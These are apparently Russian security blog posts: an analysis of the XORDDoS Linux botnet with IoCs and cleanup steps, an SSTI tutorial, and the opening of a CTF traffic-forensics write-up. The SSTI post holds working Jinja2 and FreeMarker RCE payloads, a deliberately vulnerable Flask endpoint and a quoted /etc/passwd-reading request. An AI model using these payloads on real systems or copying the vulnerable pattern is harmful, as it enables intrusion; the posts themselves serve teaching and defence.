Notes from /dev/null

XORDDoS: Анатомия угрозы для Linux-инфраструктур

2026-05-30T23:02:34.923Z

Происхождение и контекст угрозы

Исследовательская группа MalwareMustDie зафиксировала XORDDoS в сентябре 2014 года — и с тех пор этот троян так и не утратил своей актуальности. Название отражает двойственную природу вредоноса: XOR — криптографический примитив, лежащий в основе всей его внутренней логики, DDoS — конечная цель операторов. По своей сути это многоплатформенный Linux-троян с руткитом уровня ядра, спроектированный для формирования ботнетов и организации разрушительных распределённых атак типа «отказ в обслуживании».

Почему Linux, а не Windows?

Linux формирует основу современной облачной инфраструктуры, корпоративных веб-сервисов и колоссального парка устройств IoT. Эти системы исторически администрируются менее строго, чем рабочие станции: SSH часто открыт наружу, пароли не ротируются, обновления выходят с опозданием. Злоумышленники получают не рабочие станции с ограниченными ресурсами, а мощные серверы или тысячи IoT-узлов для генерации колоссальных объёмов мусорного трафика.

Тревожная деталь: по данным Microsoft, за шесть месяцев активность XORDDoS возросла на 254%. Вредонос не просто выживает — он эволюционирует. Авторы внедряют полиморфизм для обхода сигнатурных анализаторов, совершенствуют антифорензику и расширяют векторы заражения с SSH-брутфорса до атак на открытые API Docker. XORDDoS всё чаще служит первичным вектором для развёртывания Tsunami-бэкдора и скрытых криптомайнеров XMRig, превращая скомпрометированный сервер в многофункциональный инструмент монетизации.

Архитектура трояна обеспечивает его работу на процессорах x86 (32-бит), x64 (64-бит) и ARM, что даёт операторам ботнета универсальный охват: от высокопроизводительных облачных серверов до маломощных сетевых хранилищ и маршрутизаторов.

XOR как системообразующий примитив

Побитовая операция XOR (исключающее ИЛИ) выбрана авторами не случайно: она обратима, вычислительно дешева и достаточна для обхода большинства средств статического анализа. Жёстко закодированный ключ:

BB2FA36AAA9541F0

применяется в трёх критически важных контекстах.

Обфускация кода и конфигурации. Все внутренние строки трояна — доменные имена C2-серверов, конфигурационные параметры, списки целей — хранятся в зашифрованном виде прямо в бинарном файле. Расшифровка происходит исключительно в оперативной памяти в момент выполнения. Статический анализатор или антивирус, сканирующий файл на диске, не найдёт ни одной читаемой строки, указывающей на вредоносную природу объекта.

Телеметрия и идентификация бота. При первом запуске троян генерирует (или считывает из /var/run/gcc.pid и /var/run/sftp.pid) уникальную 32-байтную «магическую строку» — идентификатор устройства в ботнете. Затем собирается системная телеметрия: версия ОС, версия вредоноса, статус руткита, объём RAM, данные о CPU, скорость сетевого интерфейса. Перед отправкой вычисляется CRC для контроля целостности, после чего весь пакет шифруется ключом XOR.

Двусторонний C2-канал. Весь трафик между ботом и командным сервером защищён тем же XOR-ключом. Сервер присылает зашифрованные пакеты команд с заголовком размером 0x1C байт; бот расшифровывает их в памяти и исполняет.

Вектор проникновения: SSH-брутфорс

Основной сценарий компрометации строится на атаке методом перебора паролей (brute force) по протоколу SSH. Выбор вектора обусловлен тем, что SSH используется повсеместно для удалённого администрирования, а порт 22 на огромном количестве серверов открыт без каких-либо ограничений доступа.

Операция разворачивается поэтапно. Сначала автоматизированные сканеры прощупывают сетевые диапазоны в поисках серверов с доступным извне портом 22. Перед непосредственным перебором паролей атакующие нередко отправляют HTTP-запросы для выявления уязвимостей обхода директорий (directory traversal). Эксплуатируя такую уязвимость, они читают /etc/passwd — не для получения паролей (они хранятся в shadow-файлах), а для извлечения реального списка имён пользователей. Точные логины резко повышают эффективность последующего брутфорса.

Масштаб атаки по цифрам

В ходе задокументированных кампаний XORDDoS исследователи фиксировали свыше 20 000 попыток аутентификации на один сервер за первые 24 часа. Атака ведётся с десятков IP-адресов параллельно, что дополнительно усложняет блокировку.

После успешного подбора учётных данных (чаще всего скомпрометированного аккаунта root или пользователя с правами sudo) злоумышленники выполняют удалённый bash-скрипт. Скрипт скачивает основную полезную нагрузку XORDDoS из удалённого источника, распаковывает и запускает её — и с этого момента сервер становится полноправным узлом ботнета.

Ключевая причина успеха атаки — не техническая изощрённость, а человеческий фактор: слабые или дефолтные пароли для привилегированных аккаунтов в сочетании с отсутствием элементарных мер защиты SSH.

Закрепление: многоуровневая персистентность

После первичного заражения XORDDoS немедленно интегрируется в три независимых механизма автозапуска. Каждый из них является резервным для остальных — удаление одного не устраняет угрозу.

System V Init (runlevels)

Троян копирует своё тело в /etc/init.d/ под случайным именем из 10 символов, затем создаёт символьные ссылки вида S90[случайные_цифры] в директориях /etc/rc1.d/ — /etc/rc5.d/ и /etc/rc.d/rc1.d/. Для легитимной регистрации в системе загрузки вызываются штатные утилиты:

chkconfig --add [имя_службы]
update-rc.d [имя_службы] defaults

Cron — сторожевой процесс

В /etc/cron.hourly/ создаётся bash-скрипт (gcc.sh, cqqbnzzu.sh, obidhyb.sh — имена варьируются от кампании к кампании). В /etc/crontab добавляется правило запуска этого скрипта каждые 3 минуты. Скрипт выполняет роль watchdog: проверяет наличие основного тела трояна (обычно укрытого по пути /lib/libudev.so) и при его отсутствии немедленно скачивает и запускает копию. Именно поэтому простое удаление файла или завершение процесса через kill -9 не даёт никакого эффекта: через 3 минуты троян возвращается.

Systemd (современные версии)

В актуальных модификациях XORDDoS регистрирует пользовательскую службу с директивой Restart=always. Операционная система автоматически перезапускает процесс при любой попытке его остановить, делая команды systemctl stop и systemctl kill бесполезными.

Практический вывод

Наличие трёх независимых механизмов персистентности означает, что очистка системы требует их одновременного нейтрализации в строгой последовательности. Подробный алгоритм — в разделе «Обнаружение и реагирование».

Маскировка: арсенал антианалитических техник

Высокая выживаемость XORDDoS обеспечивается не только механизмами закрепления, но и развитым набором техник уклонения от обнаружения, охватывающим все уровни системы — от ядра до лог-файлов.

LKM-руткит (ring 0)

Наиболее технически опасный компонент — загружаемый модуль ядра (Loadable Kernel Module), функционирующий на уровне ring 0. Руткит исключает себя из системных списков ядра (утилита lsmod его не видит) и перехватывает системные вызовы через манипуляцию sys_call_table. Фильтрация вывода /proc позволяет скрыть вредоносные процессы, а перехват функций tcp4_seq_show() и tcp6_seq_show() делает невидимыми для netstat все активные сетевые соединения трояна. Взаимодействие основного процесса с руткитом осуществляется через системный вызов ioctl с идентификатором 0x9748712 через символьное устройство /proc/rs_dev.

Спуфинг имён процессов

XORDDoS динамически перезаписывает аргументы командной строки в оперативной памяти, обнуляя буферы и замещая свой истинный путь именем легитимной команды. Администратор, запустивший ps -aef или top, увидит вместо вредоносного процесса что-то вроде:

cat resolv.conf
netstat -an
bash
pwd
gnome-terminal

Демонизация и разрыв дерева процессов

Чтобы оборвать связь с сессией, через которую произошло проникновение, троян выполняет двойной fork() с последующим setsid(). Родительские процессы завершаются, вредоносный процесс «усыновляется» init — и отследить цепочку его происхождения стандартными средствами уже невозможно.

Антифорензика: уничтожение улик

Сразу после захвата системы XORDDoS перезаписывает нулевым байтом или символом новой строки ключевые журналы:

/var/log/wtmp — история входов в систему
/var/log/secure — журнал аутентификации
/root/.bash_history — история команд суперпользователя

Первоначальный дроппер нередко разворачивается в /dev/shm — виртуальной директории в RAM, которая полностью очищается при перезагрузке.

Полиморфизм: 26 000 уникальных копий

Для обхода сигнатурных детекторов, опирающихся на хэш-суммы файлов, XORDDoS генерирует случайную строку из 10 символов и дописывает её (вместе с нулевым байтом) в конец своего бинарника. Это немедленно меняет MD5/SHA-256 хэш, не нарушая работоспособности кода. В рамках одной кампании таким образом было сгенерировано свыше 26 000 уникальных образцов.

Практический кейс: разбор заражения по системным логам

Нижеследующее — реконструкция реального инцидента по данным первичного расследования, проведённого мной. Временная точка отсчёта установлена по syslog: 2026-05-30T13:58:30 (время сервера).

Фаза 1 — Брутфорс SSH

Именно с указанного timestamp в журналах зафиксированы массовые попытки аутентификации под различными именами пользователей. Атака велась с 19 IP-адресов одновременно.

Все 19 адресов атакующих были проверены на VirusTotal и признаны причастными к ранее задокументированным вредоносным кампаниям, в том числе к SSH-брутфорсу:

42.96.19.37 Проверить
102.211.152.138 Проверить
207.180.229.239 Проверить
185.156.73.233 Проверить
69.5.7.218 Проверить
103.215.80.173 Проверить
27.79.6.236 Проверить
31.173.8.170 Проверить
45.178.70.3 Проверить
47.103.157.194 Проверить
60.249.251.88 Проверить
61.169.54.150 Проверить
80.94.95.115 Проверить
91.219.196.17 Проверить
93.118.137.48 Проверить
103.158.138.179 Проверить
116.48.143.166 Проверить
116.92.229.174 Проверить

190.12.109.162 Проверить

Фаза 2 — Компрометация и установка полезной нагрузки

Точный IP-адрес, с которого была успешно подобрана пара логин/пароль, по имеющимся логам установить не удалось — что само по себе является артефактом антифорензики (перезапись auth-логов). Тем не менее сценарий однозначен: пароль был подобран, после чего сервер был включён в ботнет XORDDoS.

Атрибуцию к конкретному семейству вредоносов подтверждают два независимых факта. Первый — сценарий атаки идентичен задокументированному паттерну XORDDoS (описание SecureLab):

Второй — вредонос установил соединение с литовским IP-адресом 141.98.10.115, задокументированным как C2-инфраструктура именно данного семейства:

141.98.10.115 - Проверить

Фаза 3 — Закрепление: что было найдено в системе

Я обнаружил два активных Cron-задания, обеспечивавших персистентность.

Задание 1 — w.sh выполнялось при каждой перезагрузке из crontab пользователя root. По своей роли это оркестратор ботнета: он запускал модуль SSH-брутфорса других серверов (на это указывают аргументы ssh 2 ranges в теле строки).

Задание 2 — gcc.sh — файл с намеренно вводящим в заблуждение именем, имитирующим утилиту компилятора. Фактически это генератор бинарных полезных нагрузок — тех самых исполняемых файлов с нечитаемыми именами («кракозябры»).

Каждый из сгенерированных бинарников сопровождался регистрацией системного сервиса с явно выраженной маскировкой: поле cmdline процесса отображало rpc.statd — легитимный демон службы статуса NFS, — хотя реальной связи с ним не было. Сервис был зарегистрирован в init-скриптах с параметрами, игнорирующими команды stop, restart и аналогичные: попытка остановить его через systemctl stop [имя] завершалась без какого-либо эффекта.

Ключевой вывод по кейсу

Троян использовал одновременно три из пяти задокументированных механизмов персистентности (Cron, init-скрипты, запрет управляющих команд systemd) и как минимум один метод маскировки (спуфинг имени процесса под rpc.statd). Это стандартный, а не расширенный сценарий XORDDoS, что свидетельствует о высокой степени автоматизации кампании.

Коммуникация с C2 и функционал DDoS

Сетевая архитектура XORDDoS устроена так, чтобы минимизировать обнаруживаемость трафика при максимальной эффективности управления ботнетом.

Для резолвинга IP-адресов C2-серверов троян использует публичные DNS-серверы Google (8.8.8.8 и 8.8.4.4), что позволяет ему маскировать DNS-запросы под легитимную активность. Первичный контакт с сервером включает отправку пакета телеметрии (идентификатор устройства + системные метаданные), зашифрованного XOR-ключом с предварительно вычисленной CRC-суммой. В ответ сервер присылает командные пакеты с заголовком 0x1C байт.

Система команд C2 покрывает полный спектр управления ботом:

2 - Немедленная остановка текущей DDoS-атаки

3 - Инициализация пула потоков для новой атаки

6 - Скачивание произвольного файла с удалённого ресурса

7 - Эксфильтрация локального файла на C2-сервер

8 - Принудительная отправка обновлённой системной телеметрии

9 - Получение конфигурационного файла (в т.ч. с инструкциями по устранению конкурирующих процессов)

При получении команды 3 троян максимально утилизирует ресурсы хоста: опрашивает число доступных CPU и создаёт пул потоков в двойном размере от числа ядер. Каждый поток циклически генерирует и отправляет по 65 535 пакетов к цели.

Поддерживаются три типа атак: SYN-флуд (код 0x4) — истощение ресурсов сетевого оборудования через массовые незавершённые TCP-соединения; DNS-флуд (код 0x5) — забивание канала UDP-пакетами с вредоносными DNS-запросами; ACK-флуд (код 0xA) — перегрузка серверов пакетами-подтверждениями. Для обхода базовых фильтров провайдеров (uRPF) троян модифицирует третий или четвёртый октет IP-адреса источника, имитируя трафик из того же адресного пространства /24 или /16. Совокупная мощь скоординированных атак задокументированных кампаний достигала свыше 150 Гбит/с.

Обнаружение и реагирование

Индикаторы компрометации (IoC)

На что смотреть при первичном аудите

Процессы и ресурсы:

CPU 100% без объяснимой нагрузки - Майнинг или генерация DDoS-трафика
Процессы с именами из 8–10 случайных символов запущены от root - Основное тело трояна (efueyo, jwvwvxoupv, kagbjahdic и подобные)
ps -aef показывает cat resolv.conf / netstat -an / bash / pwd - Спуфинг имени процесса
netstat не показывает активных соединений при высокой сетевой нагрузке - LKM-руткит фильтрует вывод

Файловая система:

/lib/libudev.so или /lib/libudev.so.6 - Типичное местоположение основного тела трояна
/var/run/gcc.pid, /var/run/sftp.pid, /var/run/udev.pid - Файлы с 32-байтным bot-ID
/etc/cron.hourly/gcc.sh, cqqbnzzu.sh, obidhyb.sh, udev.sh - Watchdog-скрипты
Симлинки S90[случайные_цифры] в /etc/rc*.d/ - Инициализационная персистентность
Пустые /root/.bash_history, /var/log/wtmp, /var/log/secure - Антифорензика: перезапись нулевым байтом

Сеть:

Тысячи Failed password в auth-логах - Брутфорс-атака — входящая или уже совершившаяся
Массовые исходящие SYN/ACK/DNS на нетипичные IP - Бот участвует в DDoS-атаке
DNS-запросы к 8.8.8.8 / 8.8.4.4 с нехарактерной частотой - Резолвинг C2-адресов
Соединения на порты 53, 3306, 8005 к неизвестным хостам - C2-коммуникация

Алгоритм очистки системы

Критически важно

Простое завершение процесса (kill -9) и удаление файла без предварительного нейтрализации watchdog-механизмов приведёт к восстановлению трояна через 3 минуты. Следуйте алгоритму в строгой последовательности.

Этап 1 — Заморозка процесса (не завершение)

Найдите PID вредоносного процесса через top или:

ps -aef | grep -E '[a-z]{8,10}'

Приостановите выполнение сигналом SIGSTOP — это предотвращает срабатывание watchdog-скриптов, мониторящих статус процесса:

kill -STOP [PID]

Этап 2 — Поиск вредоносных скриптов

Выявите недавно изменённые файлы в системных директориях конфигурации:

sudo find /etc -printf '%T@ %t %p\n' | sort -k 1 -n | cut -d' ' -f2-

Этап 3 — Уничтожение механизмов персистентности

# Удаление watchdog-скриптов из cron
rm -f /etc/cron.hourly/gcc.sh /etc/cron.hourly/cqqbnzzu.sh /etc/cron.hourly/obidhyb.sh

# Удаление симлинков автозапуска
rm -f /etc/rc?.d/S90*

# Удаление init-скрипта (замените [имя] реальным именем файла)
rm -f /etc/init.d/[имя]

# Снятие с регистрации в системе загрузки
chkconfig --del [имя]
update-rc.d [имя] remove

Этап 4 — Удаление основного тела трояна

# Поиск основного файла
find / -type f -name libudev.so

# Снятие прав, удаление и блокировка директории на запись
chmod 0000 /lib/libudev.so && rm -rf /lib/libudev.so && chattr +i /lib

Этап 5 — Предотвращение повторного заражения

# Смена пароля root
passwd root

# Отключение парольной аутентификации SSH (предпочтительно — переход на ключи)
# В /etc/ssh/sshd_config:
# PasswordAuthentication no
# PermitRootLogin prohibit-password

# Установка и настройка fail2ban
apt install fail2ban
systemctl enable --now fail2ban

# Закрытие API Docker (если применимо)
# Убедиться, что порт 2375 недоступен снаружи

Дополнительные меры защиты

Разверните EDR-решение в режиме блокировки для автоматического обнаружения многоуровневых атак. Используйте YARA-правила для регулярного сканирования: в отличие от хэш-сигнатур, они эффективны против полиморфных версий трояна. Настройте IPS и правила межсетевого экрана для блокировки известной C2-инфраструктуры на уровне IP и домена, а также для ограничения нетипичных исходящих соединений (массовые DNS-запросы, порты 3306, 8005).

SSTI в действии: как шаблон становится RCE

2025-10-12T20:59:22.329Z

Введение

Всем привет! Сегодня мы чуть-чуть окунёмся в мир веб-пентеста и рассмотрим простенькую, но довольно опасную уязвимость, с которой может столкнуться каждый разработчик, использующий в своём коде удобную и, казалось бы, безобидную функцию шаблонов — Server-Side Template Injection.

С чего всё началось?

Впервые на широкую публику уязвимость была упомянута на BlackHat 2015 Джеймсом Кеттлом, который является директором по исследованиям в PortSwigger.

https://jameskettle.com/

Со слов Джеймса, уязвимость была обнаружена при работе с одним из клиентов, у которого была система генерации электронных писем с динамическим контентом.

Его глаз сразу зацепил тот факт, что в месте вставки данных шаблона можно попытаться вывести не просто имя пользователя, а его пароль. Хоть попытка была безуспешной, при более детальном изучении документации FreeMarker он обнаружил, что в ней есть прямое указание на возможную уязвимость удалённого выполнения кода (см. скрины выше).

Если не учитывать возможную блокировку классов/методов, то payload для FreeMaker мог выглядеть так (чуть позже разберём, как оно работает детально):

${"freemarker.template.utility.Execute"?new()("id")}

Второй встречей с SSTI стал репорт клиента о продукте PortSwigger, где говорилось, что BurpSuite не смог найти явный XSS. При ручном тестировании выяснилось, что это SSTI, их действительно легко перепутать, так как при SSTI можно также делать инъекцию HTML-кода. После этого случая сканирование через BurpSuite научили находить эту уязвимость, а в списки полезных нагрузок Intruder был добавлен словарь с полезными нагрузками SSTI.

Теперь рассмотрим детальнее, в каких случаях может появиться данная уязвимость и как она работает со стороны разработчика.

Методология внедрения

Джеймс в своём исследовании определил методологию для эффективного процесса атаки. Выглядит она следующим образом:

Я буду её придерживаться в дальнейшем ходе статьи.

Detect & Identify

Как стало понятно ранее, SSTI встречается в веб-приложениях, в которых есть функционал шаблонизаторов, имеющих возможность принимать ввод пользователя с последующей обработкой. Если ввод пользователя никак не фильтруется и напрямую вставляется в шаблон, то возникает уязвимость.

Если возникло подозрение, что данная уязвимость присутствует в веб-приложении, верным способом проверить эту теорию будет перебор полезных нагрузок, который можно сделать через BurpSuite и встроенные в него словари, либо же найти их отдельно и использовать Ffuf. Если уязвимость сработает, то по полезной нагрузке можно определить движок шаблонизатора.

Джеймс в своём материале сделал граф идентификации шаблонных движков в зависимости от реакции на полезную нагрузку. Я чуть расширил оригинальный граф, добавив на него на данный момент актуальные движки и пару новых полезных нагрузок.

Предположим, что наш движок Jinja2. Рассмотрим две реализации небольшого кода, цель которого — получать из запроса имя пользователя и выводить «Dear {{пользователь}}». Одна из реализаций будет безопасной, а другая — уязвимой.

Сначала рассмотрим безопасный вариант, при котором данные пользователя вставляются в функции рендера. Что бы мы ни ввели, будь то XSS или SSTI payload, он будет рассматриваться программой как текст и не будет выполнятся при рендере.

@app.route('/greet')
def safe_greeting():
    user_name = request.args.get('name', 'Guest')

    template = "Dear {{ name }}"
    return render_template_string(template, name=user_name)

Сделаем два запроса:

curl "http://127.0.0.1:5000/greet?name=NoneDev"

https://cyberchef.org/#recipe=URL_Encode(false)&input=e3s4Kjh9fQ

curl "http://127.0.0.1:5000/greet?name=%7B%7B8*8%7D%7D"

Как видно на скриншоте, при втором запросе с полезной нагрузкой приложение отработало, как и должно было, просто разместив её текстом в ответе.

Теперь перейдём к уязвимому endpoint-у:

Здесь ввод пользователя вставляется напрямую в шаблон, после чего уже происходит рендер.

@app.route('/unsafe-greet')
def unsafe_greeting():
    user_name = request.args.get('name', 'Guest')

    template = f"Dear {user_name}"
    return render_template_string(template)

Делаем всё те же два запроса:

curl "http://127.0.0.1:5000/unsafe-greet?name=NoneDev"

curl "http://127.0.0.1:5000/unsafe-greet?name=%7B%7B8*8%7D%7D"

В данном случае второй запрос выдал нам ответ на операцию 8 * 8, что говорит о том, что код внутри {{}} выполняется и SSTI присутствует.

Exploit

Теперь, когда мы знаем, что уязвимость есть, а также знаем движок, перейдем к изучению документации, чтобы с помощью особенностей языка/движка получить полноценный RCE. Обычно получение происходит через цепочку обращений к классам и их методам, начиная от класса шаблона, заканчивая классом, у которого есть метод, позволяющий выполнять произвольный код в ОС.

Так как у нас в примере используется Jinja2, который является движком в Python, в самом начале у нас будет класс самого шаблона, который мы можем получить с помощью:

self # Ссылка на текущий класс

У каждого класса есть метод (функция) инициализации "__init__", которая выполняется при создании объекта класса:

self.__init__

У функций, в свою очередь, есть атрибут "__globals__", который содержит глобальные имена модуля, такие как переменные и импорты:

 self.__init__.__globals__

В словаре "__globals__” хранится ключ "__builtins__”, который указывает на набор встроенных в язык функций (len, print и т.д.):

self.__init__.__globals__.__builtins__

Среди встроенных функций есть "__import__", которая осуществляет механизм импорта модулей, с помощью которого можно импортировать модуль "os", который имеет возможность выполнять команды в ОС:

self.__init__.__globals__.__builtins__.__import__("os").popen("id").read()

На этом наша полезная нагрузка закончена. Остаётся только обернуть её в двойные фигурные скобки, закодировать в URL-кодировку и отправить:

https://cyberchef.org/#recipe=URL_Encode(true)&input=e3tzZWxmLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfXy5fX2ltcG9ydF9fKCdvcycpLnBvcGVuKCJpZCIpLnJlYWQoKX19

curl "http://127.0.0.1:5000/unsafe-greet?name=%7B%7Bself%2E%5F%5Finit%5F%5F%2E%5F%5Fglobals%5F%5F%2E%5F%5Fbuiltins%5F%5F%2E%5F%5Fimport%5F%5F%28%27os%27%29%2Epopen%28%22id%22%29%2Eread%28%29%7D%7D"

В результате вместо имени пользователя после «Dear» идёт результат команды id.

Публичные отчёты

В окончании разбора данной уязвимости рассмотрим два реальных случая.

В большей части отчётов, которые мне удалось найти по данной уязвимости, происходит тестирование систем генерации электронных писем. Случай с Uber как раз такой из них.

Uber

Багхантер: Orange Tsai (orange)

Дата: 25 марта 2016 года

Вознаграждение: $10,000

Ссылка на отчёт: https://hackerone.com/reports/125980

Уязвимость была обнаружена на домене rider.uber.com, который используется для обслуживания пассажирской части веб-приложения.

Как и у всех сервисов, которые работают с аккаунтами пользователей, при изменении профиля (в данном случае было изменено имя человека) на привязанный email приходит уведомление об этом действии:

Hi {name},

The following information on your Uber account has recently been updated.
- name

If you did not make this change or need assistance, please visit: t.uber.com/account-update

Как и в примере, который рассматривался выше, Uber использовал шаблонизатор Jinja2 для создания писем с уведомлениями. В письма подставлялись имена пользователей. Orange Tsai попробовал изменить имя на {{ '7'*7 }} и в результате получил письмо:

Развить до RCE не удалось из-за ограничения по длине имени, но и сказать на 100%, что это невозможно, точно нельзя.

В результате Uber принял ошибку и устранил её, выплатив багхантеру $10 000.

Следующий пример более свежий и показывает, что данная уязвимость встречается не только в самописных сервисах генерации писем, но и уже в достаточно зрелых коммерческих проектах, которые использует в том числе и государство.

Министерство обороны США

Багхантер: Nithissh Sathish (v1ct0rv0nd00m)

Дата: 11 апреля, 2022 года

Вознаграждение: Неизвестно

Ссылка на отчёт: https://hackerone.com/reports/1537543?utm_source=chatgpt.com

Насколько я понял из отчёта, исследователь Nithissh Sathish искал цели, уязвимые к CVE-2022-22954.

https://dbugs.ptsecurity.com/vulnerability/PT-2022-2145?fts[value]=CVE-2022-22954

CVE-2022-22954 — уязвимость VMware Workspace ONE Access, благодаря которой злоумышленник может без аутентификации отправить запрос на «/catalog-portal/ui/oauth/verify» с уязвимым к SSTI параметром «deviceUdid». Движком, использующимся в том шаблоне, был ранее упомянутый FreeMarker. Он отвечал за вставку индификатора устройства на страницу ошибки. Для демонстрации данной уязвимости была составлена следующая нагрузка:

https://████/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%22%29%7d

В обычном виде:

${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

В результате хост выдал следующее:

HTTP/1.1 400 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Set-Cookie: EUC_XSRF_TOKEN=6386e149-ff55-4a34-b474-30e6c0c62299; Path=/catalog-portal; Secure
Cache-Control: no-cache,private
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Строгая транспортная безопасность: максимальный возраст = 31536000; Включает поддомены
Параметры X-рамки: ТОГО ЖЕ ПРОИСХОЖДЕНИЯ.
Тип контента: текст / html; кодировка = UTF-8
Язык контента: en-US
Дата: Пн, 11 апр. 2022 г. 15:03:40 GMT
Подключение: закрыто
Длина содержимого: 3576

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/html">
<head>
 <title>Страница с ошибкой</title>
 <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
 <meta http-equiv="X-UA-Compatible" content="IE=edge"/>
 <style>
 body {
 background: #465361;
 }

 .error-container {
 position: fixed;
 top: 50%;
 left: 50%;
 transform: translate(-50%, -50%);
 -ms-transform: translate(-50%, -50%);
 text-align: center;
 width: 25%;
 background-color: #fff;
 padding: 20px;
 box-shadow: 0 3px 2px -2px rgba(0, 0, .5, 0.35);
 border-radius: 4px;
 }

 .error-img-container svg {
 width: 40px;
 }

 .error-text-heading {
 font-weight: bold;
 padding-top: 5px;
 padding-bottom: 10px;
 }

 .error-text-container a {
 text-decoration: none;
 }
 </style>
</head>
<body>
<div class="error-container">
 <div class="error-img-container">
 <svg id="icon-warning-big" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewBox="0 0 32 32">
 <путь d="M28.48,24.65,17.64,5.88a1.46,1.46,0,0,0-1.28-.74h0a1.46,1.46,0,0,0-1.28.74L4.25,24.64a1.48,1.48,0,0,0,1.28,2.22H27.2a1.48,1.48,0,0,0,1.28-2.21Zm-1.07.86a.24.24,0,0,1-.21.12H5.53a.24.24,0,0,1-.21-.37L16.15,6.49a.24.24,0,0,1,.21-.12h0a.24.24,0,0,1,.21.12L27.41,25.26A.23.23,0,0,1,27.41,25.51Z"
 fill="#991700" stroke-width="0"/>
 <circle cx="16.36" cy="13.53" r="0.92" fill="#f38b00" stroke-width="0"/>
 <path d="M16.36,16.43a.62.62,0,0,0-.62.62v5.55a.62.62,0,0,0,1.23,0V17A.62.62,0,0,0,16.36,16.43Z"
 fill="#991700" stroke-width="0"/>
 </svg>
 </div>
 <div class="error-text-heading">Запрос не выполнен</div>
 <div class="error-text-container">
 <p>Пожалуйста, обратитесь к своему ИТ-администратору.</p>
 <a href="/catalog-portal/ui/logout?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22cat%20/etc/passwd%22)%7D">Выйти</a>
 </div>
</div>
</body>
<script>
 if (console && console.log) {
 console.log("auth.context.invalid");
 console.log("Контекст авторизации недействителен. Получен запрос на вход с кодом клиента: ███████, идентификатор устройства: root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/dev/null████████
 }
</script>
</html>

* Как видите, в ответе содержится информация из **/etc/passwd**

## Предлагаемые меры по смягчению последствий/исправлению ситуации
Обновите экземпляр до последней версии

Отчёт был принят, а уязвимость устранена.

Общие источники

https://youtu.be/3cT0uE7Y87s?si=rgVPPvzzFqSDGTxt

https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf

https://habr.com/ru/companies/bizone/articles/896556/

https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html

https://habr.com/ru/articles/788446/

Расследование инцидента (Кибер Волга 2025)

2025-05-23T10:38:55.754Z

Введение

Данная статья представляет собой райтап с отборочного этапа киберучений «Кибер Волга 2025», написанный в продолжение статьи про MDNS/LLMNR/NBT-NS Poisoning и последующий NTLM Relay, чтобы начинающим специалистам с учётом прошлой статьи с новым взглядом разобрать задания соревнований.

Приятного чтения!

Исходные данные

Легенда

В одной небезызвестной компании по продаже бумаги возникли проблемы. На этот раз к ним в информационную инфраструктуру проникли хакеры и осуществляют коммерческий шпионаж. В рамках компьютерного инцидента утекли некоторые документы. Начальник одного из отделений компании обратился к вашей команде за помощью в анализе сетевого трафика. В ходе расследования вы понимаете, что внутри корпоративной сети мог оказаться инсайдер. Схема сети представлена на рисунке:

Задание

В задачи команды входит ответ на поставленные вопросы по результатам анализа сетевого трафика. Каждый вопрос имеет свой вес. В случае если команды набирают одинаковое количество баллов, приоритет отдается команде, которая раньше отправила свое решение. Ответы сдаются один раз.

Укажите название компьютерной атаки, которая произошла первой
Обращение к какому несуществующему в корпоративной сети домену привело к успешности первой компьютерной атаки?
Какой IP-адрес был у СВТ, с которого злоумышленник украл аутентификационную информацию?
Какой IP-адрес был у СВТ хакера?
NTLMv2-SSP-хэш какой учетной записи был скомпрометирован?
Какой узел скомпрометирован в результате атаки NTLM-Relay?
Какое количество директорий находится на скомпрометированном СВТ (вопрос 6) в папке пользователя admin\CYBER?
Укажите IP-адрес второго СВТ злоумышленника
Укажите содержимое украденного файла с СВТ из вопроса 6
При помощи какого протокола злоумышленник скомпрометировал узел file.cyber.local?
Какое имя учетной записи было использовано для проникновения на узел file.cyber.local?
Какое вспомогательное вредоносное программное обеспечение было загружено злоумышленником на узел file.cyber.local?
Какое количество людей изображено на изображении, украденном с узла file.cyber.local?
При помощи какого протокола злоумышленник получил доступ к контроллеру домена?
Каким ведомством разработаны документы, украденные с контроллера домена?

Совет

Очень важно на данном этапе понять схему внутренней инфраструктуры. Обратите внимание на все данные нам IP-адреса и домены, так как атаки, как правило, пытаются быть замаскированными. Если вы будете понимать суть сценария, вам будет легче их заметить.

Решение

Хоть решение я распределил по вопросам, всё равно это единый сценарий, поэтому, чтобы понять всю суть инцидента, лучше изучать с первого вопроса.

Подготовка

Открыв дамп трафика, сразу можно заметить кучу трафика, никак не связанного с нашей внутренней сетью. Чтобы упростить анализ, лучше сразу составить фильтр, который оставит нам только нужное. В данном случае лучше:

Исключить TCP и TLS протоколы, так как никаких полезных для нас данных из них мы извлечь не сможем.
Оставить трафик, связанный с внутренней (192.168.1.0/24) и внешней (10.0.0.0/8, так как мы знаем только то, что IP может начинаться с 10, а остальные октеты могут быть разными) сетями.

В итоге получается следующий фильтр:

!(_ws.col.protocol == "TCP") && !(_ws.col.protocol == "TLSv1.2") && ((ip.src == 192.168.1.0/24 && ip.dst == 192.168.1.0/24) || (ip.src == 192.168.1.0/24 && ip.dst == 10.0.0.0/8) || (ip.src == 10.0.0.0/8 && ip.dst == 192.168.1.0/24))

Он отфильтрует дамп так, что останутся пакеты, которые были только внутри скоупа. Тем не менее это не говорит о том, что лишнего трафика вообще не осталось, он лишь убрал большую часть.

Подсказка: в Wireshark фильтры можно сохранять как кнопки — очень полезный функционал!

Вопрос 1-4

Укажите название компьютерной атаки, которая произошла первой.
Обращение к какому несуществующему в корпоративной сети домену привело к успешности первой компьютерной атаки?
Какой IP-адрес был у СВТ, с которого злоумышленник украл аутентификационную информацию?
Какой IP-адрес был у СВТ хакера?

